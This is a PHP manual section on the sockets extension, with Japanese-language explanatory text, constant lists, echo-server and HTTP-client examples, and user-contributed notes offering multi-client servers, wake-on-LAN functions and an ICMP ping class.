SOCKET_EBADFD (int)
File descriptor in bad state.
SOCKET_EREMCHG (int)
Remote address changed.
SOCKET_ERESTART (int)
Interrupted system call should be restarted.
SOCKET_ESTRPIPE (int)
Streams pipe error.
SOCKET_EPROTOOPT (int)
Protocol not available.
SOCKET_ADDRINUSE (int)
Address already in use.
SOCKET_ETOOMANYREFS (int)
Too many references: cannot splice.
SOCKET_EISNAM (int)
Is a named type file.
SOCKET_EREMOTEIO (int)
Remote I/O error.
SOCKET_EDQUOT (int)
Quota exceeded.
SOCKET_ENOMEDIUM (int)
No medium found.
SOCKET_EMEDIUMTYPE (int)
Wrong medium type.
SCM_RIGHTS (int)
Send or receive a set of open file descriptors from another process.
SCM_CREDENTIALS (int)

User Contributed Notes

kenverhaegen at gmail dot com 15-Apr-2020 10:14
Seems like SOCKET_EAGAIN is an alias of SOCKET_EWOULDBLOCK (int 11)
yyb8 at vip dot qq dot com 03-Apr-2017 05:44
note:Linux kernel 3.9  now support SO_REUSEPORT option
gvgvgvijayan at gmail dot com 07-Jun-2013 02:15
$a = get_defined_constants(TRUE);
foreach ($a as $k => $v) {
    printf('%-25s <br/>', $k);
    foreach ($v as $k => $v) {
        printf('&nbsp;&nbsp;&nbsp;&nbsp--->%-25s %d<br/>', $k, $v);
    }
}

this may look duplicate for previous anonymous post but that code snippet only return 1 for constants value
1-->first called the get_defined_constants by passing argument true to categorize the data
2-->then using foreach iterate over index of the array
3-->here printf is used to print title of the category
4-->then it move on to interrior array and display the list of contants available in each category along with its value
Anonymous 14-Apr-2012 03:20
We can know sockets constants values with :

<?php
$a = get_defined_constants(TRUE) ;
foreach ( $a['sockets'] as $constant => $value ) {
    printf("%-25s %d\r\n", $constant, $value) ;
}
?>

AF_UNIX                   1
AF_INET                   2
AF_INET6                  23
SOCK_STREAM               1
SOCK_DGRAM                2
SOCK_RAW                  3
SOCK_SEQPACKET            5
SOCK_RDM                  4
MSG_OOB                   1
MSG_WAITALL               0
MSG_PEEK                  2
MSG_DONTROUTE             4
SO_DEBUG                  1
SO_REUSEADDR              4
SO_KEEPALIVE              8
SO_DONTROUTE              16
SO_LINGER                 128
SO_BROADCAST              32
SO_OOBINLINE              256
SO_SNDBUF                 4097
SO_RCVBUF                 4098
SO_SNDLOWAT               4099
SO_RCVLOWAT               4100
SO_SNDTIMEO               4101
SO_RCVTIMEO               4102
SO_TYPE                   4104
SO_ERROR                  4103
SOL_SOCKET                65535
SOMAXCONN                 2147483647
TCP_NODELAY               1
PHP_NORMAL_READ           1
PHP_BINARY_READ           2
SOCKET_EINTR              10004
SOCKET_EBADF              10009
SOCKET_EACCES             10013
SOCKET_EFAULT             10014
SOCKET_EINVAL             10022
SOCKET_EMFILE             10024
SOCKET_EWOULDBLOCK        10035
SOCKET_EINPROGRESS        10036
SOCKET_EALREADY           10037
SOCKET_ENOTSOCK           10038
SOCKET_EDESTADDRREQ       10039
SOCKET_EMSGSIZE           10040
SOCKET_EPROTOTYPE         10041
SOCKET_ENOPROTOOPT        10042
SOCKET_EPROTONOSUPPORT    10043
SOCKET_ESOCKTNOSUPPORT    10044
SOCKET_EOPNOTSUPP         10045
SOCKET_EPFNOSUPPORT       10046
SOCKET_EAFNOSUPPORT       10047
SOCKET_EADDRINUSE         10048
SOCKET_EADDRNOTAVAIL      10049
SOCKET_ENETDOWN           10050
SOCKET_ENETUNREACH        10051
SOCKET_ENETRESET          10052
SOCKET_ECONNABORTED       10053
SOCKET_ECONNRESET         10054
SOCKET_ENOBUFS            10055
SOCKET_EISCONN            10056
SOCKET_ENOTCONN           10057
SOCKET_ESHUTDOWN          10058
SOCKET_ETOOMANYREFS       10059
SOCKET_ETIMEDOUT          10060
SOCKET_ECONNREFUSED       10061
SOCKET_ELOOP              10062
SOCKET_ENAMETOOLONG       10063
SOCKET_EHOSTDOWN          10064
SOCKET_EHOSTUNREACH       10065
SOCKET_ENOTEMPTY          10066
SOCKET_EPROCLIM           10067
SOCKET_EUSERS             10068
SOCKET_EDQUOT             10069
SOCKET_ESTALE             10070
SOCKET_EREMOTE            10071
SOCKET_EDISCON            10101
SOCKET_SYSNOTREADY        10091
SOCKET_VERNOTSUPPORTED    10092
SOCKET_NOTINITIALISED     10093
SOCKET_HOST_NOT_FOUND     11001
SOCKET_TRY_AGAIN          11002
SOCKET_NO_RECOVERY        11003
SOCKET_NO_DATA            11004
SOCKET_NO_ADDRESS         11004
SOL_TCP                   6
SOL_UDP                   17


例

例1 ソケットの例: 簡易 TCP/IP サーバー

この例は、簡単な応答サーバーです。変数 address と port を設定と実行環境に合うように変更してください。 このサーバーに次のようなコマンドで接続することが可能です。 : telnet 192.168.1.53 10000 (ただし、 アドレスとポートは設定に合わせます)入力したものは、サーバー側の出力となり、 エコーバックされます。接続を閉じるには、'quit' を入力します。

#!/usr/local/bin/php -q
<?php
error_reporting(E_ALL);

/* Allow the script to hang around waiting for connections. */
set_time_limit(0);

/* Turn on implicit output flushing so we see what we're getting
 * as it comes in. */
ob_implicit_flush();

$address = '192.168.1.53';
$port = 10000;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
}

if (socket_bind($sock, $address, $port) === false) {
    echo "socket_bind() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}

if (socket_listen($sock, 5) === false) {
    echo "socket_listen() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}

do {
    if (($msgsock = socket_accept($sock)) === false) {
        echo "socket_accept() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
        break;
    }
    /* Send instructions. */
    $msg = "\nWelcome to the PHP Test Server. \n" .
        "To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
    socket_write($msgsock, $msg, strlen($msg));

    do {
        if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) {
            echo "socket_read() failed: reason: " . socket_strerror(socket_last_error($msgsock)) . "\n";
            break 2;
        }
        if (!$buf = trim($buf)) {
            continue;
        }
        if ($buf == 'quit') {
            break;
        }
        if ($buf == 'shutdown') {
            socket_close($msgsock);
            break 2;
        }
        $talkback = "PHP: You said '$buf'.\n";
        socket_write($msgsock, $talkback, strlen($talkback));
        echo "$buf\n";
    } while (true);
    socket_close($msgsock);
} while (true);

socket_close($sock);
?>

例2 ソケットの例: 簡易 TCP/IP クライアント

この例は、簡単な一回限りの HTTP クライアントです。ここでは、 あるページに接続して HEAD リクエストを送信し、応答を出力た後で終了します。

<?php
error_reporting(E_ALL);

echo "<h2>TCP/IP Connection</h2>\n";

/* Get the port for the WWW service. */
$service_port = getservbyname('www', 'tcp');

/* Get the IP address for the target host. */
$address = gethostbyname('www.example.com');

/* Create a TCP/IP socket. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
} else {
    echo "OK.\n";
}

echo "Attempting to connect to '$address' on port '$service_port'...";
$result = socket_connect($socket, $address, $service_port);
if ($result === false) {
    echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
    echo "OK.\n";
}

$in = "HEAD / HTTP/1.1\r\n";
$in .= "Host: www.example.com\r\n";
$in .= "Connection: Close\r\n\r\n";
$out = '';

echo "Sending HTTP HEAD request...";
socket_write($socket, $in, strlen($in));
echo "OK.\n";

echo "Reading response:\n\n";
while ($out = socket_read($socket, 2048)) {
    echo $out;
}

echo "Closing socket...";
socket_close($socket);
echo "OK.\n\n";
?>

User Contributed Notes

zital at riseup dot net 29-May-2017 08:16
due to PHP standars modify the code to:
<?php
//...
    $write = NULL;
    $except = NULL;
    $tv_sec = 5;

    // Set up a blocking call to socket_select
    if(socket_select($read, $write, $except, $tv_sec) < 1)
//...
?>
javier,javiern at gmail dot com 30-Aug-2012 07:25
You can easily extend the first example to handle any number of connections instead of jsut one

#!/usr/bin/env php
<?php
error_reporting(E_ALL);

/* Permitir al script esperar para conexiones. */
set_time_limit(0);

/* Activar el volcado de salida implicito, asi veremos lo que estamo obteniendo
 * mientras llega. */
ob_implicit_flush();

$address = '127.0.0.1';
$port = 10000;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
    echo "socket_create() fallo: razon: " . socket_strerror(socket_last_error()) . "\n";
}

if (socket_bind($sock, $address, $port) === false) {
    echo "socket_bind() fallo: razon: " . socket_strerror(socket_last_error($sock)) . "\n";
}

if (socket_listen($sock, 5) === false) {
    echo "socket_listen() fallo: razon: " . socket_strerror(socket_last_error($sock)) . "\n";
}

//clients array
$clients = array();

do {
    $read = array();
    $read[] = $sock;

    $read = array_merge($read,$clients);

    // Set up a blocking call to socket_select
    if(socket_select($read,$write = NULL, $except = NULL, $tv_sec = 5) < 1)
    {
        //    SocketServer::debug("Problem blocking socket_select?");
        continue;
    }

    // Handle new Connections
    if (in_array($sock, $read)) {

        if (($msgsock = socket_accept($sock)) === false) {
            echo "socket_accept() fallo: razon: " . socket_strerror(socket_last_error($sock)) . "\n";
            break;
        }
        $clients[] = $msgsock;
        $key = array_keys($clients, $msgsock);
        /* Enviar instrucciones. */
        $msg = "\nBienvenido al Servidor De Prueba de PHP. \n" .
        "Usted es el cliente numero: {$key[0]}\n" .
        "Para salir, escriba 'quit'. Para cerrar el servidor escriba 'shutdown'.\n";
        socket_write($msgsock, $msg, strlen($msg));

    }

    // Handle Input
    foreach ($clients as $key => $client) { // for each client
        if (in_array($client, $read)) {
            if (false === ($buf = socket_read($client, 2048, PHP_NORMAL_READ))) {
                echo "socket_read() fallo: razon: " . socket_strerror(socket_last_error($client)) . "\n";
                break 2;
            }
            if (!$buf = trim($buf)) {
                continue;
            }
            if ($buf == 'quit') {
                unset($clients[$key]);
                socket_close($client);
                break;
            }
            if ($buf == 'shutdown') {
                socket_close($client);
                break 2;
            }
            $talkback = "Cliente {$key}: Usted dijo '$buf'.\n";
            socket_write($client, $talkback, strlen($talkback));
            echo "$buf\n";
        }

    }
} while (true);

socket_close($sock);
?>


ソケットのエラー

ソケット拡張モジュールは、 強力な BSD ソケットへの有用なインターフェイスを提供するために作成されました。 関数は、Win32 および Unix の実装において等しく動作するように注意が払われています。 ソケット関数の多くは特定の条件で失敗し、エラーを記述する E_WARNING メッセージを出力します。 これは、時々開発者が望まない時に発生することがあります。例えば、 関数 socket_read() は突然 E_WARNING メッセージを出力する可能性があります。 これは、予測しない接続断が発生したためです。 @ 演算子により警告出力を抑制し、 socket_last_error() 関数によりアプリケーション内でエラーコードを取得することが一般に行われています。 エラーを記述する文字列を取得するためにこのエラーコードを指定して socket_strerror() 関数をコールすることが可能です。 詳細は、この関数の説明を参照してください。

注意:

E_WARNING メッセージは、 ソケット拡張モジュールにより英語で生成されますが、取得されるエラーメッセージは、 現在のロケール (LC_MESSAGES) に依存します。

Warning - socket_bind() unable to bind address [98]: Die Adresse wird bereits verwendet

User Contributed Notes

There are no user contributed notes for this page.


ソケット 関数

目次

  • socket_accept — ソケットへの接続を許可する
  • socket_addrinfo_bind — 与えられた addrinfo から、ソケットを作成してバインドする
  • socket_addrinfo_connect — 与えられた addrinfo から、ソケットを作って接続する
  • socket_addrinfo_explain — addrinfo に関する情報を取得する
  • socket_addrinfo_lookup — 与えられたホスト名に関する getaddrinfo の内容を配列で取得する
  • socket_bind — ソケットに名前をバインドする
  • socket_clear_error — ソケットのエラーまたは直近のエラーコードをクリアする
  • socket_close — Socket クラスのインスタンスを閉じる
  • socket_cmsg_space — メッセージバッファサイズを計算する
  • socket_connect — ソケット上の接続を初期化する
  • socket_create_listen — 接続を受けつけるためにポートにソケットをオープンする
  • socket_create_pair — 区別できないソケットの組を作成し、配列に保存する
  • socket_create — ソケット（通信時の終端）を作成する
  • socket_export_stream — ソケットをカプセル化したストリームに、ソケットをエクスポートする
  • socket_get_option — ソケットのオプションを取得する
  • socket_getopt — socket_get_option のエイリアス
  • socket_getpeername — 指定したソケットのリモート側に問い合わせ、その型に応じてホスト/ポート、あるいは Unix ファイルシステムのパスを返す
  • socket_getsockname — 指定したソケットのローカル側に問い合わせ、その型に応じてホスト/ポート、あるいは Unix ファイルシステムのパスを返す
  • socket_import_stream — ストリームをインポートする
  • socket_last_error — ソケットの直近のエラーを返す
  • socket_listen — ソケット上で接続待ち(listen)する
  • socket_read — ソケットから最大バイト長まで読みこむ
  • socket_recv — 接続したソケットからデータを受信する
  • socket_recvfrom — 接続しているかどうかによらず、ソケットからデータを受信する
  • socket_recvmsg — メッセージを読む
  • socket_select — 与えられたソケットの配列に対し、指定した有効時間で select() システムコールを実行する
  • socket_send — 接続したソケットにデータを送信する
  • socket_sendmsg — メッセージを送信する
  • socket_sendto — 接続しているかどうかによらずソケットにメッセージを送信する
  • socket_set_block — ソケットのブロッキングモードを設定する
  • socket_set_nonblock — ソケットリソースを非ブロックモードに設定する
  • socket_set_option — ソケットのオプションを設定する
  • socket_setopt — socket_set_option のエイリアス
  • socket_shutdown — 受信、送信、または送受信用のソケットをシャットダウンする
  • socket_strerror — ソケットエラーの内容を文字列として返す
  • socket_write — ソケットに書き込む
  • socket_wsaprotocol_info_export — WSAPROTOCOL_INFO 構造体をエクスポートする
  • socket_wsaprotocol_info_import — 別のプロセスからソケットをインポートする
  • socket_wsaprotocol_info_release — エクスポートした WSAPROTOCOL_INF 構造体を解放する

User Contributed Notes

paul dot hodel at gmail dot com 10-Sep-2011 04:39
After many non-sleep nights I got the most simple multi-client server written in PHP that really works. Ctrl+C and Ctrl+V... use as command line to test it. Enjoy it.

<?php

ini_set('error_reporting', E_ALL ^ E_NOTICE);
ini_set('display_errors', 1);

// Set time limit to indefinite execution
set_time_limit (0);

// Set the ip and port we will listen on
$address = '10.203.9.67';
$port = 6901;

// Create a TCP Stream socket
$sock = socket_create(AF_INET, SOCK_STREAM, 0);

// Bind the socket to an address/port
socket_bind($sock, $address, $port) or die('Could not bind to address');

// Start listening for connections
socket_listen($sock);

// Non block socket type
socket_set_nonblock($sock);

// Loop continuously
while (true)
{
    unset($read);

    $j = 0;

    if (count($client))
    {
        foreach ($client AS $k => $v)
        {
            $read[$j] = $v;

            $j++;
        }
    }

    $client = $read;

    if ($newsock = @socket_accept($sock))
    {
        if (is_resource($newsock))
        {
            socket_write($newsock, "$j>", 2).chr(0);

            echo "New client connected $j";

            $client[$j] = $newsock;

            $j++;
        }
    }

    if (count($client))
    {
        foreach ($client AS $k => $v)
        {
            if (@socket_recv($v, $string, 1024, MSG_DONTWAIT) === 0)
            {
                unset($client[$k]);

                socket_close($v);
            }
            else
            {
                if ($string)
                {
                    echo "$k: $string\n";
                }
            }
        }
    }

    //echo ".";

    sleep(1);
}

// Close the master sockets
socket_close($sock);
?>
davidccook+php at gmail dot com 04-Aug-2008 09:25
Planning on sending integer values through as socket, I was surprised to find PHP only supports sending strings.
I came to the conclusion the only way to do it would be to create a string that would evaluate to the same byte values as the integer I wanted to send. So (after much messing about) I created a couple of functions: one to create this 'string' and one to convert a received value back to an integer.

<?php
//Converts an integer to 'byte array' (string), default to 4 'bytes' (chars)
function int2string($int, $numbytes=4)
{
   $str = "";
   for ($i=0; $i < $numbytes; $i++) {
     $str .= chr($int % 256);
     $int = $int / 256;
   }
   return $str;
}

//Converts a 'byte array' (string) to integer
function string2int($str)
{
   $numbytes = strlen($str);
   $int = 0;
   for ($i=0; $i < $numbytes; $i++) {
     $int += ord($str[$i]) * pow(2, $i * 8);
   }
   return $int;
}

//Example
echo int2string(16705, 2); // 16-bit integer converts to two bytes: 65, 65; which in turn is 'AA'
echo string2int('AA'); //back the other way
?>
firefly2442 at hotmail dot com 29-Mar-2008 12:31
Here's a simple script for sending messages back and forth between a server and client.  At this point, the code is fairly rough because once it enters the while loop, it doesn't stop but it can be modified and fixed.  Enjoy.

<?php
//The Server
error_reporting(E_ALL);
$address = "127.0.0.1";
$port = "10000";

/* create a socket in the AF_INET family, using SOCK_STREAM for TCP connection */
$mysock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

socket_bind($mysock, $address, $port);

socket_listen($mysock, 5);

$client = socket_accept($mysock);

echo "Server started, accepting connections...\n";

$i = 0;
while (true == true)
{
    $i++;
    echo "Sending $i to client.\n";
    socket_write($client, $i, strlen($i));

    $input = socket_read($client, 2048);
    echo "Response from client is: $input\n";
    sleep(5);
}

echo "Closing sockets...";
socket_close($client);

socket_close($mysock);

?>

<?php
//The Client
error_reporting(E_ALL);

$address = "127.0.0.1";
$port = 10000;

/* Create a TCP/IP socket. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
} else {
    echo "socket successfully created.\n";
}

echo "Attempting to connect to '$address' on port '$port'...";
$result = socket_connect($socket, $address, $port);
if ($result === false) {
    echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
    echo "successfully connected to $address.\n";
}

$i = 0;
while (true == true)
{
    $i++;
    echo "Sending $i to server.\n";
    socket_write($socket, $i, strlen($i));

    $input = socket_read($socket, 2048);
    echo "Response from server is: $input\n";
    sleep(5);
}

echo "Closing socket...";
socket_close($socket);
?>
david dot schueler at tel-bilig dot de 14-Jan-2008 03:02
NOTE! If you are trying to send a broadcast-message using this code you _may_ get a "Permission denied"-Error at socket_connect, even if you are running this as root on a linux box.
<?php
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_connect($sock,"255.255.255.255", 10000);
socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1);
$buf = "Hello World!";
socket_write($sock,$buf,strlen($buf));
socket_close($sock);
?>
The only workaround for this is to get the broadcast address of the interface and walk through all IPs with a for-loop.
White-Gandalf 02-Sep-2007 12:03
At the moment (2007-09), i don't find this extension in the PECL, but instead in the usual php extension directory. It needs to be included in the php-ini:

extension = php_sockets.dll

(or ".so" - whatever for your system).
roberto at spadim dot com dot br 11-Feb-2007 10:27
Wake on Lan , working ok without configurations, and some features

<?php
function wake_on_lan($mac,$addr=false,$port=7) {
    //Usage
    //    $addr:
    //    You will send and broadcast tho this addres.
    //    Normaly you need to use the 255.255.255.255 adres, so i made it as default. So you don't need
    //    to do anything with this.
    //    Since 255.255.255.255 have permission denied problems you can use addr=false to get all broadcast address from ifconfig command
    //    addr can be array with broadcast IP values
    //    $mac:
    //    You will WAKE-UP this WOL-enabled computer, you need to add the MAC-addres here.
    //    Mac can be array too
    //
    //Return
    //    TRUE:    When socked was created succesvolly and the message has been send.
    //    FALSE:    Something went wrong
    //
    //Example 1
    //    When the message has been send you will see the message "Done...."
    //    if ( wake_on_lan('00:00:00:00:00:00'))
    //        echo 'Done...';
    //    else
    //        echo 'Error while sending';
    //
    if ($addr===false){
        exec("ifconfig | grep Bcast | cut -d \":\" -f 3 | cut -d \" \" -f 1",$addr);
        $addr=array_flip(array_flip($addr));
    }
    if(is_array($addr)){
        $last_ret=false;
        for ($i=0;$i<count($ret);$i++)
            if ($ret[$i]!==false)
                $last_ret=wake_on_lan($mac,$ret[$i],$port);
        return($last_ret);
    }
    if (is_array($mac)){
        $ret=array();
        foreach($mac as $k=>v)
            $ret[$k]=wake_on_lan($v,$addr,$port);
        return($ret);
    }
    //Check if it's an real MAC-addres and split it into an array
    $mac=strtoupper($mac);
    if (!preg_match("/([A-F0-9]{1,2}[-:]){5}[A-F0-9]{1,2}/",$mac,$maccheck))
        return false;
    $addr_byte = preg_split("/[-:]/",$maccheck[0]);

    //Creating hardware adress
    $hw_addr = '';
    for ($a=0; $a < 6; $a++)//Changing mac adres from HEXEDECIMAL to DECIMAL
        $hw_addr .= chr(hexdec($addr_byte[$a]));

    //Create package data
    $msg = str_repeat(chr(255),6);
    for ($a = 1; $a <= 16; $a++)
        $msg .= $hw_addr;
    //Sending data
    if (function_exists('socket_create')){
        //socket_create exists
        $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);    //Can create the socket
        if ($sock){
            $sock_data = socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1); //Set
            if ($sock_data){
                $sock_data = socket_sendto($sock, $msg, strlen($msg), 0, $addr,$port); //Send data
                if ($sock_data){
                    socket_close($sock); //Close socket
                    unset($sock);
                    return(true);
                }
            }
        }
        @socket_close($sock);
        unset($sock);
    }
    $sock=fsockopen("udp://" . $addr, $port);
    if($sock){
        $ret=fwrite($sock,$msg);
        fclose($sock);
    }
    if($ret)
        return(true);
    return(false);
}
?>
aeolianmeson at NOSPAM dot blitzeclipse dot com 30-May-2006 12:13
There is a fantastic book on this library called 'TCP/IP Sockets in C' (ISBN 1558608265), that covers all of the ins and outs, quirks, and everything else that goes on. It's written for C, of course, but it could have easily been written for PHP with almost no serious code differences.

Dustin
f.moisant 18-May-2006 05:41
This function to send Magic Packet works really !!!

/********/
<?php
function wake($ip, $mac, $port)
{
  $nic = fsockopen("udp://" . $ip, $port);
  if($nic)
  {
    $packet = "";
    for($i = 0; $i < 6; $i++)
       $packet .= chr(0xFF);
    for($j = 0; $j < 16; $j++)
    {
      for($k = 0; $k < 6; $k++)
      {
        $str = substr($mac, $k * 2, 2);
        $dec = hexdec($str);
        $packet .= chr($dec);
      }
    }
    $ret = fwrite($nic, $packet);
    fclose($nic);
    if($ret)
      return true;
  }
  return false;
}
?>

/********/

Executed with:
wake('123.123.123.123', '112233445566', 9);
goldemish at tiscali dot it 24-Apr-2006 06:52
Function to send Magic Packets for Wake on Wan (WOW) or Wake on Lan(WOL), without sockets library.

<?
function WakeOnLan($ip, $mac, $port)
{
        $packet = "";
        for($i = 0; $i < 6; $i++) $packet .= chr(0xFF);
        for($i = 0; $i < 6; $i++) $packet .= chr((int)substr($mac, $i, $i + 2));
        $nic = fsockopen("udp://" . $ip, $port));
        if($nic==false){
            return false;
            fclose($nic);
        }
        fwrite($nic, $packet);
        fclose($nic);
        return true;
}
?>
bmatheny at mobocracy dot net 16-Sep-2005 06:31
A multicast server can be written badly as follows:

$bc_string = "Hello World!";
$sock = socket_create(AF_INET, SOCK_DGRAM, 0);
$opt_ret = socket_set_option($sock, 1, 6, TRUE);
$send_ret = socket_sendto($sock, $bc_string, strlen($bc_string), 0, '230.0.0.1', 4446);

Checking the return types is needed, but this does allow for you to multicast from php code.
philip at birk-jensen dot dk 22-Aug-2005 06:22
I've been using the ICMP Checksum calculation function written by Khaless [at] bigpond [dot] com. But when having an odd length of data, it failed, so I made my own instead, which adds a 0 if the data length is odd:
<?php
function icmpChecksum($data)
{
    // Add a 0 to the end of the data, if it's an "odd length"
    if (strlen($data)%2)
        $data .= "\x00";

    // Let PHP do all the dirty work
    $bit = unpack('n*', $data);
    $sum = array_sum($bit);

    // Stolen from: Khaless [at] bigpond [dot] com
    // The code from the original ping program:
    //    sum = (sum >> 16) + (sum & 0xffff);    /* add hi 16 to low 16 */
    //    sum += (sum >> 16);            /* add carry */
    // which also works fine, but it seems to me that
    // Khaless will work on large data.
    while ($sum>>16)
        $sum = ($sum >> 16) + ($sum & 0xffff);

    return pack('n*', ~$sum);
}
?>
aidan at php dot net 18-Aug-2004 05:08
hexdump() is a fantastic function for "dumping" packets or binary output from servers. See the below link for more information.

http://aidanlister.com/repos/v/function.hexdump.php
noSanity 17-May-2004 07:40
I have searched long and hard for a ping script that does NOT use EXEC() or SYSTEM(). So far, I have found nothing, so I decided to write my own, which was a task to say the least.

First off, I would like to thank Khaless for their checksum function, converting it from C looked like a task in itself.

Here is the class I wrote
<?php

class Net_Ping
{
  var $icmp_socket;
  var $request;
  var $request_len;
  var $reply;
  var $errstr;
  var $time;
  var $timer_start_time;
  function Net_Ping()
  {
    $this->icmp_socket = socket_create(AF_INET, SOCK_RAW, 1);
    socket_set_block($this->icmp_socket);
  }

  function ip_checksum($data)
  {
     for($i=0;$i<strlen($data);$i += 2)
     {
         if($data[$i+1]) $bits = unpack('n*',$data[$i].$data[$i+1]);
         else $bits = unpack('C*',$data[$i]);
         $sum += $bits[1];
     }

     while ($sum>>16) $sum = ($sum & 0xffff) + ($sum >> 16);
     $checksum = pack('n1',~$sum);
     return $checksum;
  }

  function start_time()
  {
    $this->timer_start_time = microtime();
  }

  function get_time($acc=2)
  {
    // format start time
    $start_time = explode (" ", $this->timer_start_time);
    $start_time = $start_time[1] + $start_time[0];
    // get and format end time
    $end_time = explode (" ", microtime());
    $end_time = $end_time[1] + $end_time[0];
    return number_format ($end_time - $start_time, $acc);
  }

  function Build_Packet()
  {
    $data = "abcdefghijklmnopqrstuvwabcdefghi"; // the actual test data
    $type = "\x08"; // 8 echo message; 0 echo reply message
    $code = "\x00"; // always 0 for this program
    $chksm = "\x00\x00"; // generate checksum for icmp request
    $id = "\x00\x00"; // we will have to work with this later
    $sqn = "\x00\x00"; // we will have to work with this later

    // now we need to change the checksum to the real checksum
    $chksm = $this->ip_checksum($type.$code.$chksm.$id.$sqn.$data);

    // now lets build the actual icmp packet
    $this->request = $type.$code.$chksm.$id.$sqn.$data;
    $this->request_len = strlen($this->request);
  }

  function Ping($dst_addr,$timeout=5,$percision=3)
  {
    // lets catch dumb people
    if ((int)$timeout <= 0) $timeout=5;
    if ((int)$percision <= 0) $percision=3;

    // set the timeout
    socket_set_option($this->icmp_socket,
      SOL_SOCKET,  // socket level
      SO_RCVTIMEO, // timeout option
      array(
       "sec"=>$timeout, // Timeout in seconds
       "usec"=>0  // I assume timeout in microseconds
       )
      );

    if ($dst_addr)
    {
      if (@socket_connect($this->icmp_socket, $dst_addr, NULL))
      {

      } else {
        $this->errstr = "Cannot connect to $dst_addr";
        return FALSE;
      }
      $this->Build_Packet();
      $this->start_time();
      socket_write($this->icmp_socket, $this->request, $this->request_len);
      if (@socket_recv($this->icmp_socket, &$this->reply, 256, 0))
      {
        $this->time = $this->get_time($percision);
        return $this->time;
      } else {
        $this->errstr = "Timed out";
        return FALSE;
      }
    } else {
      $this->errstr = "Destination address not specified";
      return FALSE;
    }
  }
}

$ping = new Net_Ping;
$ping->ping("www.google.ca");

if ($ping->time)
  echo "Time: ".$ping->time;
else
  echo $ping->errstr;

?>

Hope this saves some troubles.

noSanity
Khaless [at] bigpond [dot] com 18-Jan-2004 09:55
I spent a while trying to use SOCK_RAW to send ICMP request packets so i could ping. This however lead me to need the internet checksum written as a php function, which was a little hard because of the way PHP handles variable types. Anyway, to save others the effort heres what i came up with, this returns Checksum for $data

<?PHP
// Computes Internet Checksum for $data
// will return a 16-bit internet checksum for $data
function inetChecksum($data)
{
    // 32-bit accumilator, 16 bits at a time, adds odd bit on at end
    for($i=0;$i<strlen($data);$i += 2)
    {
        if($data[$i+1]) $bits = unpack('n*',$data[$i].$data[$i+1]);
        else $bits = unpack('C*',$data[$i]);
        $sum += $bits[1];
    }

    // Fold 32-bit sum to 16 bits
    while ($sum>>16) $sum = ($sum & 0xffff) + ($sum >> 16);
    $checksum = pack('n1',~$sum);
    return $checksum;
}
?>

And with this i was able to construct a correct PING Request.
murzik [at] pisem dot net 06-Oct-2003 04:32
>The function, that send the WakeOnLan (WOL, Magic packet) signal:

<?php
# Wake on LAN - (c) HotKey (at SPR dot AT), upgraded by Murzik <tomurzik@inbox.ru>

flush();

function WakeOnLan($addr, $mac)
{
 $addr_byte = explode(':', $mac);
 $hw_addr = '';

 for ($a=0; $a < 6; $a++) $hw_addr .= chr(hexdec($addr_byte[$a]));

 $msg = chr(255).chr(255).chr(255).chr(255).chr(255).chr(255);

 for ($a = 1; $a <= 16; $a++)    $msg .= $hw_addr;

 // send it to the broadcast address using UDP
 // SQL_BROADCAST option isn't help!!
 $s = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
 if ($s == false)
 {
  echo "Error creating socket!\n";
  echo "Error code is '".socket_last_error($s)."' - " . socket_strerror(socket_last_error($s));
 }
 else
 {
 // setting a broadcast option to socket:
  $opt_ret =  socket_set_option($s, 1, 6, TRUE);
  if($opt_ret < 0)
  {
   echo "setsockopt() failed, error: " . strerror($opt_ret) . "\n";
  }
  $e = socket_sendto($s, $msg, strlen($msg), 0, $addr, 2050);
  socket_close($s);
  echo "Magic Packet sent (".$e.") to ".$addr.", MAC=".$mac;
 }
}

#WakeOnLan('yourIPorDomain.dyndns.org', 'your:MAC:address');
#WakeOnLan('192.168.0.2', '00:30:84:2A:90:42');
#WakeOnLan('192.168.1.2', '00:05:1C:10:04:05');

//if you have switch or other routing devices in LAN, sendign to
// the local IP isn't helps! you need send to the broadcast address like this:
WakeOnLan('192.168.1.255', '00:05:1C:10:04:05');

?>
talmage at usi-rpg dot com 04-Jan-2003 12:02
I have spent the past two days ripping out hair trying to figure out how to prevent zombie processes w/the examples above and I just happend to find this in the manual for another lanuage, felt it neccassry to port it here.

--begin copy--
van[at]webfreshener[dot]com
11-Oct-2002 02:53

Forking your PHP daemon will cause it to zombie on exit.

...or so I've seen on:
FreeBSD (PHP4.2.x)
Debian (PHP4.3.0-dev)
Darwin (PHP4.3.0-dev)

This was tested with the example code above and other scripts created for evaluation.

Seems adding <b>--enable-sigchild</b> to your configure will get rid of the problem.

Hope that saves some hair tearing :]

--end copy--

Thanks vam@wenfreshener.com !!!!
saryon at unfix dot org 09-Jul-2002 09:42
I found this EXTREMELY useful link on the zend php
mailing list:

http://www.zend.com/lists/php-dev/200205/msg00286.html

It's about being able to use multiple connections
in a php socket server, WITHOUT having
to use those threads everyone seems to be
so very fond of.
works very well :)
(ps: i didn't make it, so....don't say thanks to me ;),
thank him)
daniel[at]lorch.cc 22-Feb-2002 09:32
"Beej's Guide to Network Programming" is an absolutely excellent and easy to understand tutorial to socket programming. It was written for C developers, but as the socket functions in PHP are (almost) analoguous, this should not be a problem.

